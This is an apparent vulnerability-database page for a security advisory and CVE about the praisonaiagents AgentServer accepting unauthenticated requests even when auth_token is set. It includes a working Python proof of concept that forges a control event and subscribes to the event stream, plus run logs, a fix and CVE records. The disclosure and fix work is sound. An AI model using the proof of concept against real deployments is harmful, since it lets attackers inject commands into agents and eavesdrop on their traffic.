Vulnerability-Lookup

GHSA-7G3P-92QQ-8WVH

Vulnerability from github – Published: 2026-08-25 14:31 – Updated: 2026-08-25 14:31

Summary

praisonaiagents: AgentServer declares auth_token but never enforces it on any route

Details

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonaiagents on PyPI Affected version (empirically tested): 1.6.48 Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)

TL;DR

AgentServer.ServerConfig advertises an auth_token: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "auth_token": "***" — strongly implying the value is wired into request authentication.

It isn't. AgentServer._create_app never reads auth_token, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — /info, /publish, /events, /health — accepts unauthenticated requests regardless of whether auth_token is configured.

The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(_verify_auth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.

Root cause

   Expected behavior when setting ServerConfig(auth_token="…"):
     "Only requests with a matching Authorization header will be
      accepted on /publish, /events, /info."

   Actual behavior (server/server.py, dist 1.6.48):
     - line 31    auth_token: Optional[str] = None   # declared
     - line 39    "auth_token": "***" if self.auth_token else None  # displayed
     - lines 122-204:  no auth middleware, no Depends, no
                       request.headers["Authorization"] read,
                       no comparison to self.config.auth_token.

   Impact:
     The configuration knob is dead code from the route handlers'
     perspective.  All routes always run.  The operator has no signal
     that their auth_token was discarded — /info even confirms it
     was received by displaying "***".

Sibling proof — the same package gets it right elsewhere

praisonaiagents/ui/a2a/a2a.py:

# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
    """Verify bearer token if auth_token is configured."""
    if self.auth_token is None:
        return
    ...
    if len(parts) != 2 or parts[0].lower() != "bearer" \
            or parts[1] != self.auth_token:
        raise HTTPException(status_code=401, ...)

# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []

That is the missing implementation. Porting it to AgentServer — either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(_verify_auth) to each route — closes the gap.

Affected routes (empirically tested)

Route	Method	Accepts unauth requests?	Impact
`/info`	GET	Yes (200)	Leaks server config; confirms `auth_token` is set (`"***"`); reveals client count and CORS config.
`/publish`	POST	Yes (200)	Anyone broadcasts arbitrary `{type, data}` to every subscribed agent. Event payload is whatever the attacker sends.
`/events`	GET	Yes (200)	Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker).
`/health`	GET	Yes (200)	Leaks live SSE client count.

Impact

The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:

Inject control events into every agent process subscribed to the server. AgentServer.broadcast(event_type, data) puts the payload into every SSEClient.queue; any consumer dispatching on event_type will dispatch on the attacker-chosen type. Real deployments register handlers per event type via AgentServer.on_event(...); an attacker who can guess (or enumerate via /info + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen data.
Eavesdrop on the entire event bus by subscribing to /events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the auth_token wall.
Pivot via leaked config. /info is sufficient to enumerate cors_origins (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set auth_token, signalling a high-value target.

SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check max_connections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.

Anchors

praisonaiagents 1.6.48, file praisonaiagents/server/server.py:

Line	Symbol	What it shows
31	`auth_token: Optional[str] = None`	Declared.
39	`"auth_token": "***" if self.auth_token else None`	Displayed (masked) in `/info`.
121	`def _create_app(self):`	Route + middleware setup begins.
132	`async def health(request):`	No auth check.
139	`async def events(request):`	No auth check.
164	`async def publish(request):`	No auth check.
182	`async def info(request):`	No auth check.
190	`routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)]`	Routes registered without `Depends`/middleware.
197	`app = Starlette(routes=routes)`	App created.
200	`app = CORSMiddleware(app, …)`	Only middleware added.

Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).

Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.

Reproduction (empirical PoC)

poc/poc.py starts AgentServer with ServerConfig(auth_token="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.

Run log (poc/run-log.txt):

[1] GET /info     (no Authorization) -> HTTP 200
    body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0,
           "config":{"host":"127.0.0.1","port":18765,"cors_origins":[],
                     "auth_token":"***","max_connections":100}}
[2] POST /publish (no Authorization) -> HTTP 200
    body: {"success":true,"clients":0}
[3] GET /health   (no Authorization) -> HTTP 200
[4] GET /events   (no Authorization) -> HTTP 200

VULNERABLE: 4 unauthenticated routes
VERDICT: VULNERABLE
EXIT 0

Suggested fix

Make AgentServer reuse the A2A pattern. Smallest fix:

# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
    from starlette.middleware.base import BaseHTTPMiddleware
    from starlette.responses import JSONResponse

    expected = "Bearer " + self.config.auth_token

    class _Auth(BaseHTTPMiddleware):
        async def dispatch(self, request, call_next):
            if request.url.path == "/health":     # if /health should remain public
                return await call_next(request)
            got = request.headers.get("authorization", "")
            if not hmac.compare_digest(got, expected):
                return JSONResponse({"error": "unauthorized"}, status_code=401)
            return await call_next(request)

    app = _Auth(app)

app = CORSMiddleware(app, ...)

Constant-time comparison (hmac.compare_digest) is appropriate since this is a network-comparable secret.

Steps to reproduce

Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
Run the proof of concept (poc.py) against the cloned source.
Observe the result shown under Verified result below.

Proof of concept

poc.py

"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.

The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated.  In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).

This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header.  All requests succeed.
"""

import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"

def http_request(method, path, body=None, headers=None):
    url = f"http://127.0.0.1:{PORT}{path}"
    data = None
    if body is not None:
        data = json.dumps(body).encode("utf-8")
    req = Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urlopen(req, timeout=5) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")
    except URLError as e:
        return None, f"URLError: {e}"

def main() -> int:
    print("=" * 70)
    print(f"praisonaiagents version: 1.6.48")
    print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
    print(f"      then send UNAUTHENTICATED requests to every route.")
    print("=" * 70)

    config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
    server = AgentServer(config=config)
    server.start(blocking=False)
    time.sleep(1.0)  # wait for uvicorn to be ready

    findings = []

    code, body = http_request("GET", "/info")
    info_data = None
    try:
        info_data = json.loads(body)
    except Exception:
        pass
    print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
        findings.append("/info: unauthenticated; leaks that auth_token IS configured")

    payload = {"type": "attacker_injected_event",
               "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
    code, body = http_request("POST", "/publish", body=payload)
    print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200:
        try:
            ok = json.loads(body).get("success") is True
        except Exception:
            ok = False
        if ok:
            findings.append("/publish: unauthenticated event broadcast to all SSE clients")

    code, body = http_request("GET", "/health")
    print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
    if code == 200:
        findings.append("/health: unauthenticated; leaks live client count")

    sse_status = []
    def sse_reader():
        try:
            req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
            with urlopen(req, timeout=3) as resp:
                sse_status.append(f"HTTP {resp.status}")
                try:
                    chunk = resp.read(64)
                    sse_status.append(f"first-chunk-bytes={len(chunk)}")
                except Exception as e:
                    sse_status.append(f"chunk-read: {e}")
        except Exception as exc:
            sse_status.append(f"ERR: {exc}")
    t = threading.Thread(target=sse_reader, daemon=True)
    t.start()
    time.sleep(2.0)
    print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
    if sse_status and sse_status[0] == "HTTP 200":
        findings.append("/events: unauthenticated SSE subscription accepted")

    print("\n" + "=" * 70)
    if findings:
        print(f"VULNERABLE: {len(findings)} unauthenticated routes")
        for f in findings:
            print(f"  - {f}")
        print("VERDICT: VULNERABLE")
        return 0
    print("DEFENDED")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)

from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg)            # REAL AgentServer
app = srv._create_app()                        # REAL Starlette app + routes
client = TestClient(app)

print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")

assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] auth_token configured on server: 'super-secret-operator-token'
[+] GET /info  (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}
[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}
[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:31:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonaiagents` on PyPI\n**Affected version (empirically tested):** 1.6.48\n**Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server)\n\n---\n\n## TL;DR\n\n`AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `\"auth_token\": \"***\"` \u2014 strongly implying the value is wired into request authentication.\n\nIt isn\u0027t. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route \u2014 `/info`, `/publish`, `/events`, `/health` \u2014 accepts unauthenticated requests regardless of whether `auth_token` is configured.\n\nThe same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI\u0027s `Depends(_verify_auth)`. This rules out the \"auth is not yet implemented; operators are expected to add it\" reading: the developer knew the pattern but did not apply it to `AgentServer`.\n\n## Root cause\n\n```\n   Expected behavior when setting ServerConfig(auth_token=\"\u2026\"):\n     \"Only requests with a matching Authorization header will be\n      accepted on /publish, /events, /info.\"\n\n   Actual behavior (server/server.py, dist 1.6.48):\n     - line 31    auth_token: Optional[str] = None   # declared\n     - line 39    \"auth_token\": \"***\" if self.auth_token else None  # displayed\n     - lines 122-204:  no auth middleware, no Depends, no\n                       request.headers[\"Authorization\"] read,\n                       no comparison to self.config.auth_token.\n\n   Impact:\n     The configuration knob is dead code from the route handlers\u0027\n     perspective.  All routes always run.  The operator has no signal\n     that their auth_token was discarded \u2014 /info even confirms it\n     was received by displaying \"***\".\n```\n\n## Sibling proof \u2014 the same package gets it right elsewhere\n\n`praisonaiagents/ui/a2a/a2a.py`:\n\n```python\n# line 163\nasync def _verify_auth(authorization: Optional[str] = Header(None)):\n    \"\"\"Verify bearer token if auth_token is configured.\"\"\"\n    if self.auth_token is None:\n        return\n    ...\n    if len(parts) != 2 or parts[0].lower() != \"bearer\" \\\n            or parts[1] != self.auth_token:\n        raise HTTPException(status_code=401, ...)\n\n# line 192\nfrom fastapi import Depends\n_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []\n```\n\nThat is the missing implementation. Porting it to `AgentServer` \u2014 either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route \u2014 closes the gap.\n\n## Affected routes (empirically tested)\n\n| Route       | Method | Accepts unauth requests? | Impact                                                                 |\n|-------------|--------|--------------------------|------------------------------------------------------------------------|\n| `/info`     | GET    | **Yes (200)**            | Leaks server config; confirms `auth_token` is set (`\"***\"`); reveals client count and CORS config. |\n| `/publish`  | POST   | **Yes (200)**            | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent.  Event payload is whatever the attacker sends. |\n| `/events`   | GET    | **Yes (200)**            | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |\n| `/health`   | GET    | **Yes (200)**            | Leaks live SSE client count.                                           |\n\n## Impact\n\nThe `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:\n\n1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`.\n2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall.\n3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target.\n\n`SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber\u0027s queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.\n\n## Anchors\n\npraisonaiagents 1.6.48, file `praisonaiagents/server/server.py`:\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 31    | `auth_token: Optional[str] = None`                       | Declared. |\n| 39    | `\"auth_token\": \"***\" if self.auth_token else None`       | Displayed (masked) in `/info`. |\n| 121   | `def _create_app(self):`                                 | Route + middleware setup begins. |\n| 132   | `async def health(request):`                             | No auth check. |\n| 139   | `async def events(request):`                             | No auth check. |\n| 164   | `async def publish(request):`                            | No auth check. |\n| 182   | `async def info(request):`                               | No auth check. |\n| 190   | `routes = [Route(\"/health\", \u2026), Route(\"/events\", \u2026), Route(\"/publish\", \u2026), Route(\"/info\", \u2026)]` | Routes registered without `Depends`/middleware. |\n| 197   | `app = Starlette(routes=routes)`                         | App created. |\n| 200   | `app = CORSMiddleware(app, \u2026)`                           | **Only** middleware added. |\n\nSource sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes).\n\nSibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`.\n\n## Reproduction (empirical PoC)\n\n`poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token=\"supersecret-not-actually-checked\")` and then sends unauthenticated requests to each route.\n\nRun log (`poc/run-log.txt`):\n\n```\n[1] GET /info     (no Authorization) -\u003e HTTP 200\n    body: {\"name\":\"PraisonAI Agent Server\",\"version\":\"1.0.0\",\"clients\":0,\n           \"config\":{\"host\":\"127.0.0.1\",\"port\":18765,\"cors_origins\":[],\n                     \"auth_token\":\"***\",\"max_connections\":100}}\n[2] POST /publish (no Authorization) -\u003e HTTP 200\n    body: {\"success\":true,\"clients\":0}\n[3] GET /health   (no Authorization) -\u003e HTTP 200\n[4] GET /events   (no Authorization) -\u003e HTTP 200\n\nVULNERABLE: 4 unauthenticated routes\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Suggested fix\n\nMake `AgentServer` reuse the A2A pattern. Smallest fix:\n\n```python\n# in _create_app, after `app = Starlette(routes=routes)`:\nif self.config.auth_token:\n    from starlette.middleware.base import BaseHTTPMiddleware\n    from starlette.responses import JSONResponse\n\n    expected = \"Bearer \" + self.config.auth_token\n\n    class _Auth(BaseHTTPMiddleware):\n        async def dispatch(self, request, call_next):\n            if request.url.path == \"/health\":     # if /health should remain public\n                return await call_next(request)\n            got = request.headers.get(\"authorization\", \"\")\n            if not hmac.compare_digest(got, expected):\n                return JSONResponse({\"error\": \"unauthorized\"}, status_code=401)\n            return await call_next(request)\n\n    app = _Auth(app)\n\napp = CORSMiddleware(app, ...)\n```\n\nConstant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.\n\nThe ServerConfig dataclass declares `auth_token: Optional[str] = None` and\nthe /info endpoint reports it as \"***\" when set, giving operators the\nimpression that requests will be authenticated.  In reality,\nAgentServer._create_app never reads auth_token, never adds an auth\nmiddleware, and never decorates any route with Depends(_verify_auth).\n\nThis PoC starts AgentServer with auth_token=\"supersecret\", then hits\nevery route without any Authorization header.  All requests succeed.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nfrom praisonaiagents.server import AgentServer, ServerConfig\n\nPORT = 18765\nAUTH_TOKEN = \"supersecret-not-actually-checked\"\n\ndef http_request(method, path, body=None, headers=None):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=5) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, f\"URLError: {e}\"\n\ndef main() -\u003e int:\n    print(\"=\" * 70)\n    print(f\"praisonaiagents version: 1.6.48\")\n    print(f\"Test: start AgentServer with auth_token={AUTH_TOKEN!r}\")\n    print(f\"      then send UNAUTHENTICATED requests to every route.\")\n    print(\"=\" * 70)\n\n    config = ServerConfig(host=\"127.0.0.1\", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])\n    server = AgentServer(config=config)\n    server.start(blocking=False)\n    time.sleep(1.0)  # wait for uvicorn to be ready\n\n    findings = []\n\n    code, body = http_request(\"GET\", \"/info\")\n    info_data = None\n    try:\n        info_data = json.loads(body)\n    except Exception:\n        pass\n    print(f\"\\n[1] GET /info (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200 and info_data and info_data.get(\"config\", {}).get(\"auth_token\") == \"***\":\n        findings.append(\"/info: unauthenticated; leaks that auth_token IS configured\")\n\n    payload = {\"type\": \"attacker_injected_event\",\n               \"data\": {\"forged_from\": \"unauthenticated_client\", \"instruction\": \"shutdown_now\"}}\n    code, body = http_request(\"POST\", \"/publish\", body=payload)\n    print(f\"\\n[2] POST /publish (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200:\n        try:\n            ok = json.loads(body).get(\"success\") is True\n        except Exception:\n            ok = False\n        if ok:\n            findings.append(\"/publish: unauthenticated event broadcast to all SSE clients\")\n\n    code, body = http_request(\"GET\", \"/health\")\n    print(f\"\\n[3] GET /health (no Authorization header) -\u003e HTTP {code} body={body[:120]}\")\n    if code == 200:\n        findings.append(\"/health: unauthenticated; leaks live client count\")\n\n    sse_status = []\n    def sse_reader():\n        try:\n            req = Request(f\"http://127.0.0.1:{PORT}/events\", method=\"GET\")\n            with urlopen(req, timeout=3) as resp:\n                sse_status.append(f\"HTTP {resp.status}\")\n                try:\n                    chunk = resp.read(64)\n                    sse_status.append(f\"first-chunk-bytes={len(chunk)}\")\n                except Exception as e:\n                    sse_status.append(f\"chunk-read: {e}\")\n        except Exception as exc:\n            sse_status.append(f\"ERR: {exc}\")\n    t = threading.Thread(target=sse_reader, daemon=True)\n    t.start()\n    time.sleep(2.0)\n    print(f\"\\n[4] GET /events (no Authorization header) -\u003e {sse_status}\")\n    if sse_status and sse_status[0] == \"HTTP 200\":\n        findings.append(\"/events: unauthenticated SSE subscription accepted\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if findings:\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai-agents\"); sys.path.insert(0,BK)\nfor p in [\"praisonaiagents\",\"praisonaiagents.server\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nlg=types.ModuleType(\"praisonaiagents._logging\"); lg.get_logger=lambda *a,**k: __import__(\"logging\").getLogger(\"x\"); sys.modules[\"praisonaiagents._logging\"]=lg\nspec=importlib.util.spec_from_file_location(\"praisonaiagents.server.server\", BK+\"/praisonaiagents/server/server.py\")\nsrvmod=importlib.util.module_from_spec(spec); srvmod.__package__=\"praisonaiagents.server\"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)\n\nfrom starlette.testclient import TestClient\n# Operator DOES configure an auth_token, expecting it to protect the server:\ncfg = srvmod.ServerConfig(host=\"127.0.0.1\", port=8765, auth_token=\"super-secret-operator-token\")\nsrv = srvmod.AgentServer(config=cfg)            # REAL AgentServer\napp = srv._create_app()                        # REAL Starlette app + routes\nclient = TestClient(app)\n\nprint(\"[*] auth_token configured on server:\", repr(cfg.auth_token))\nr_info = client.get(\"/info\")\nprint(f\"[+] GET /info  (no auth) -\u003e HTTP {r_info.status_code}; config disclosed: {r_info.json().get(\u0027config\u0027)}\")\nr_pub = client.post(\"/publish\", json={\"type\":\"admin_event\",\"data\":{\"x\":\"injected-by-attacker\"}})\nprint(f\"[+] POST /publish (no auth) -\u003e HTTP {r_pub.status_code}; body: {r_pub.json()}\")\n\nassert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get(\"success\") is True\nprint(\"[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] auth_token configured on server: \u0027super-secret-operator-token\u0027\n[+] GET /info  (no auth) -\u003e HTTP 200; config disclosed: {\u0027host\u0027: \u0027127.0.0.1\u0027, \u0027port\u0027: 8765, \u0027cors_origins\u0027: [], \u0027auth_token\u0027: \u0027***\u0027, \u0027max_connections\u0027: 100}\n[+] POST /publish (no auth) -\u003e HTTP 200; body: {\u0027success\u0027: True, \u0027clients\u0027: 0}\n[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-7g3p-92qq-8wvh",
  "modified": "2026-08-25T14:31:52Z",
  "published": "2026-08-25T14:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: AgentServer declares auth_token but never enforces it on any route"
}

CVE-2026-55528 (GCVE-0-2026-55528)

Vulnerability from cvelistv5 – Published: 2026-08-25 14:32 – Updated: 2026-08-25 18:17

Title

praisonaiagents: AgentServer declares auth_token but never enforces it on any route (CWE-862)

Summary

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, AgentServer exposes ServerConfig.auth_token but AgentServer._create_app does not check it on any route. A remote caller can subscribe, publish, and perform other actions without a valid bearer token or X-Auth-Token even when authentication is configured. This issue is fixed in version 1.6.58.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 18:17 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM
https://github.com/MervinPraison/PraisonAI/commit…	x_refsource_MISC
https://github.com/MervinPraison/PraisonAI/releas…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: < 4.6.58
MervinPraison	praisonaiagents	Affected: < 1.6.58

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55528",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T18:17:42.526934Z",
                "version": "2.0.3"
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          "shortName": "CISA-ADP"
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            "tags": [
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            ],
            "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.58"
            }
          ]
        },
        {
          "product": "praisonaiagents",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.58"
            }
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          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, AgentServer exposes ServerConfig.auth_token but AgentServer._create_app does not check it on any route. A remote caller can subscribe, publish, and perform other actions without a valid bearer token or X-Auth-Token even when authentication is configured. This issue is fixed in version 1.6.58."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
